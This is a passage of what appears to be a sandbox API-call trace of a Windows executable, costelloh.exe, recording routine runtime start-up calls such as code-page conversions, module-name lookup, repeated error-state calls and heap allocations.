!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
	[0051.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x95fb54, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x66\x10\x84\xd4\x8c\xfd\x95", lpUsedDefaultChar=0x0) returned 256
	[0051.400] GetLastError () returned 0x0
	[0051.400] SetLastError (dwErrCode=0x0) 
	[0051.400] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95fc54, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0051.400] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x95fc54, cbMultiByte=256, lpWideCharStr=0x95f5a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ郵椖骫ġĀ") returned 256
	[0051.400] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ郵椖骫ġĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0051.400] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ郵椖骫ġĀ", cchSrc=256, lpDestStr=0x95f398, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
	[0051.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x95fa54, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x66\x10\x84\xd4\x8c\xfd\x95", lpUsedDefaultChar=0x0) returned 256
	[0051.400] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x121f728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0051.400] GetLastError () returned 0x0
	[0051.400] SetLastError (dwErrCode=0x0) 
	[0051.400] GetLastError () returned 0x0
	[0051.400] SetLastError (dwErrCode=0x0) 
	[0051.400] GetLastError () returned 0x0
	[0051.400] SetLastError (dwErrCode=0x0) 
	[0051.400] GetLastError () returned 0x0
	[0051.401] SetLastError (dwErrCode=0x0) 
	[0051.401] GetLastError () returned 0x0
	[0051.401] SetLastError (dwErrCode=0x0) 
	[0051.401] GetLastError () returned 0x0
	[0051.401] SetLastError (dwErrCode=0x0) 
	[0051.401] GetLastError () returned 0x0
	[0051.401] SetLastError (dwErrCode=0x0) 
	[0051.401] GetLastError () returned 0x0
	[0051.401] SetLastError (dwErrCode=0x0) 
	[0051.401] GetLastError () returned 0x0
	[0051.401] SetLastError (dwErrCode=0x0) 
	[0051.401] GetLastError () returned 0x0
	[0051.401] SetLastError (dwErrCode=0x0) 
	[0051.401] GetLastError () returned 0x0
	[0051.401] SetLastError (dwErrCode=0x0) 
	[0051.401] GetLastError () returned 0x0
	[0051.402] SetLastError (dwErrCode=0x0) 
	[0051.402] GetLastError () returned 0x0
	[0051.402] SetLastError (dwErrCode=0x0) 
	[0051.402] GetLastError () returned 0x0
	[0051.402] SetLastError (dwErrCode=0x0) 
	[0051.402] GetLastError () returned 0x0
	[0051.402] SetLastError (dwErrCode=0x0) 
	[0051.402] GetLastError () returned 0x0
	[0051.402] SetLastError (dwErrCode=0x0) 
	[0051.402] GetLastError () returned 0x0
	[0051.402] SetLastError (dwErrCode=0x0) 
	[0051.402] GetLastError () returned 0x0
	[0051.402] SetLastError (dwErrCode=0x0) 
	[0051.402] GetLastError () returned 0x0
	[0051.402] SetLastError (dwErrCode=0x0) 
	[0051.402] GetLastError () returned 0x0
	[0051.402] SetLastError (dwErrCode=0x0) 
	[0051.402] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.403] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.403] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.403] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.403] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.403] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.403] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.403] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.403] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.403] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.403] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.403] GetLastError () returned 0x0
	[0051.403] SetLastError (dwErrCode=0x0) 
	[0051.404] GetLastError () returned 0x0
	[0051.404] SetLastError (dwErrCode=0x0) 
	[0051.404] GetLastError () returned 0x0
	[0051.404] SetLastError (dwErrCode=0x0) 
	[0051.404] GetLastError () returned 0x0
	[0051.404] SetLastError (dwErrCode=0x0) 
	[0051.404] GetLastError () returned 0x0
	[0051.404] SetLastError (dwErrCode=0x0) 
	[0051.404] GetLastError () returned 0x0
	[0051.404] SetLastError (dwErrCode=0x0) 
	[0051.404] GetLastError () returned 0x0
	[0051.404] SetLastError (dwErrCode=0x0) 
	[0051.404] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x2e) returned 0xa11768
	[0051.404] GetLastError () returned 0x0
	[0051.404] SetLastError (dwErrCode=0x0) 
	[0051.404] GetLastError () returned 0x0
	[0051.404] SetLastError (dwErrCode=0x0) 
	[0051.404] GetLastError () returned 0x0
	[0051.404] SetLastError (dwErrCode=0x0) 
	[0051.404] GetLastError () returned 0x0
	[0051.404] SetLastError (dwErrCode=0x0) 
	[0051.404] GetLastError () returned 0x0
	[0051.404] SetLastError (dwErrCode=0x0) 
	[0051.404] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.405] SetLastError (dwErrCode=0x0) 
	[0051.405] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.406] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.406] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.406] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.406] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.406] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.406] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.406] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.406] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.406] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.406] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.406] GetLastError () returned 0x0
	[0051.406] SetLastError (dwErrCode=0x0) 
	[0051.407] GetLastError () returned 0x0
	[0051.407] SetLastError (dwErrCode=0x0) 
	[0051.407] GetLastError () returned 0x0
	[0051.407] SetLastError (dwErrCode=0x0) 
	[0051.407] GetLastError () returned 0x0
	[0051.407] SetLastError (dwErrCode=0x0) 
	[0051.407] GetLastError () returned 0x0
	[0051.407] SetLastError (dwErrCode=0x0) 
	[0051.407] GetLastError () returned 0x0
	[0051.407] SetLastError (dwErrCode=0x0) 
	[0051.407] GetLastError () returned 0x0
	[0051.407] SetLastError (dwErrCode=0x0) 
	[0051.407] GetLastError () returned 0x0
	[0051.407] SetLastError (dwErrCode=0x0) 
	[0051.407] GetLastError () returned 0x0
	[0051.407] SetLastError (dwErrCode=0x0) 
	[0051.407] GetLastError () returned 0x0
	[0051.407] SetLastError (dwErrCode=0x0) 
	[0051.407] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x94) returned 0xa117a0
	[0051.407] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1f) returned 0xa11840
	[0051.407] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x28) returned 0xa11868
	[0051.407] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x37) returned 0xa11898
	[0051.407] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x3c) returned 0xa118d8
	[0051.407] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x31) returned 0xa11920
	[0051.407] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x14) returned 0xa11960
	[0051.407] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x24) returned 0xa11980
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0xd) returned 0xa119b0
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x17) returned 0xa119c8
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x2b) returned 0xa119e8
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x15) returned 0xa11a20
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x17) returned 0xa11a40
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x22) returned 0xa11a60
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0xe) returned 0xa11a90
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0xc1) returned 0xa11aa8
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x3e) returned 0xa11b78
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1b) returned 0xa11bc0
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1d) returned 0xa11be8
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x48) returned 0xa11c10
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x12) returned 0xa11c60
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x18) returned 0xa11c80
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1b) returned 0xa11ca0
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x24) returned 0xa11cc8
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x29) returned 0xa11cf8
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa11d30
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x69) returned 0xa11d58
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x17) returned 0xa11dd0
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0xf) returned 0xa11df0
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x16) returned 0xa11e08
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x28) returned 0xa11e28
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x27) returned 0xa11e58
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x12) returned 0xa11e88
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x21) returned 0xa11ea8
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x10) returned 0xa11ed8
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1c) returned 0xa11ef0
	[0051.408] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x12) returned 0xa11f18
	[0051.408] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa10fd0 | out: hHeap=0xa10000) returned 1
	[0051.409] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0051.409] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x80) returned 0xa11f38
	[0051.409] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1218136) returned 0x0
	[0051.418] RtlSizeHeap (HeapHandle=0xa10000, Flags=0x0, MemoryPointer=0xa11f38) returned 0x80
	[0051.418] GetLastError () returned 0x0
	[0051.418] SetLastError (dwErrCode=0x0) 
	[0051.418] GetLastError () returned 0x0
	[0051.418] SetLastError (dwErrCode=0x0) 
	[0051.418] GetLastError () returned 0x0
	[0051.418] SetLastError (dwErrCode=0x0) 
	[0051.418] GetLastError () returned 0x0
	[0051.418] SetLastError (dwErrCode=0x0) 
	[0051.418] GetLastError () returned 0x0
	[0051.418] SetLastError (dwErrCode=0x0) 
	[0051.418] GetLastError () returned 0x0
	[0051.418] SetLastError (dwErrCode=0x0) 
	[0051.418] GetLastError () returned 0x0
	[0051.418] SetLastError (dwErrCode=0x0) 
	[0051.418] GetLastError () returned 0x0
	[0051.418] SetLastError (dwErrCode=0x0) 
	[0051.419] GetLastError () returned 0x0
	[0051.419] SetLastError (dwErrCode=0x0) 
	[0051.419] GetLastError () returned 0x0
	[0051.419] SetLastError (dwErrCode=0x0) 
	[0051.419] GetLastError () returned 0x0
	[0051.419] SetLastError (dwErrCode=0x0) 
	[0051.419] GetLastError () returned 0x0
	[0051.419] SetLastError (dwErrCode=0x0) 
	[0051.419] GetLastError () returned 0x0
	[0051.419] SetLastError (dwErrCode=0x0) 
	[0051.419] GetLastError () returned 0x0
	[0051.419] SetLastError (dwErrCode=0x0) 
	[0051.419] GetLastError () returned 0x0
	[0051.419] SetLastError (dwErrCode=0x0) 
	[0051.419] GetLastError () returned 0x0
	[0051.419] SetLastError (dwErrCode=0x0) 
	[0051.419] GetLastError () returned 0x0
	[0051.419] SetLastError (dwErrCode=0x0) 
	[0051.419] GetLastError () returned 0x0
	[0051.419] SetLastError (dwErrCode=0x0) 
	[0051.419] GetLastError () returned 0x0
	[0051.419] SetLastError (dwErrCode=0x0) 
